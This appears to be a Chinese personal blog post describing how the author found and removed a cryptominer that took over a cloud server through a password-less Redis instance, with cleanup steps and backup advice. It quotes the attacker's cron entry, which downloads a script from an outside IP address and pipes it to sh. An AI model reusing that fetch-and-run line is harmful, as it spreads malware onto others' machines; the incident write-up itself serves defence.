1.前言
讲讲缘由,今天一大早起来,准备正常登陆网站签个到的,打开域名发现。。。并且多次切换浏览器打开,最终皆无果。
然后猜想服务器是不是挂了,打开阿里云控制台,woc,服务器cup跑满了(小网站平时cup也就10%),当时我回想代码里面也很少用到线程,死循环也不可能,按理来说cup是跑不满的。所以猜想代码出的问题已经排除。那么问题的本身应该是服务器其他地方出异常了。
2.深究源头
由于第一次遇到这种情况,然后按照网上的Linux操作步骤
1.先远程登录软件 登录服务器
2.用top指令查看cup使用情况(注:Ctrl + C 退出top指令查看)
得出:
sysupdate 系统更新 networkservice 网络服务 这骚操作???(这里病毒有点精明后面还改了字母,来避过安全系统)
3.使用top已经知道了进程号,接下来看看位置,命令ls -l proc/{进程号}/exe
发现 sysupdata、networkservics都在/etc/目录下
ls 打开/etc/目录目录还发现
有sysupdata、networkservics 同时还有sysguerd、config.json(应该都是挖矿同伙。。。)
3.解决方案
因为我被攻破的是root用户,想直接删除是没有权限,所以得修复SELinux(病毒脚本首先就会尝试关闭SELinux子系统)。
- 使用getenforce命令查看SELinux状态。
- 修改/etc/selinux/config文件将SELINUX=disabled改为SELINUX=enforcing,然后重新启动云服务器。
- 删除定时任务
rm /var/spool/cron/root 或crontab -r
- 杀掉进程 删除文件
首先杀进程,kill -9 {进程号},然后删除文件
直接删除sysupdata你会发现无法删除,因为一般病毒会使用chattr +i命令,我们使用chattr -i sysupdata,然后再 rm -f sysupdata 即可正常删除。
同理删除networkservics、sysguerd、config.json。 - 再查看cup,被征用将近五小时的服务器已恢复正常,网站正常访问
4.问题延伸
之前说到有部分数据被丢失,是因为我的redis里面数据被改成这个了。。。
还好数据有备份~
*/1 * * * * cdl -fsSL http://45.137.151.106/ec8ce6abb3e952a85b85/init.sh |sh
顺便查看ip发现这病毒会玩。。
当然有人会好奇为什么你的redis会被改?
答案是:问得好,这就是问题根源。因为我没设置密码=_=,让病毒盯上redis漏洞有机可乘
在这里提示大家redis密码一定要设置复杂,听小伙伴说简单的数字密码也会被病毒破解。
5.思想总结
经过两个小时的奋斗,问题从发现到解决过程也基本到此结束了。以此开一个贴记录下。也是我的疏忽才导致问题发生,还好影响不大。不过面对突如其来的问题一定要淡定面对,多想想为什么,这对你解题很有帮助。再次提醒做网站数据一定一定得备份!(特别用户重要数据)。说到底我也挺庆幸有数据备份(虽然是个小网站,我还是很注重这点的),因为我认为只要数据没有丢,修复服务器都是时间问题。
附上参考链接 :
Linux设置redis密码 https://www.cnblogs.com/x-ll123/p/9717351.html
大佬案例 https://blog.csdn.net/daiyuhe/article/details/95683393
我的小网站 https://yuyucangcang.cn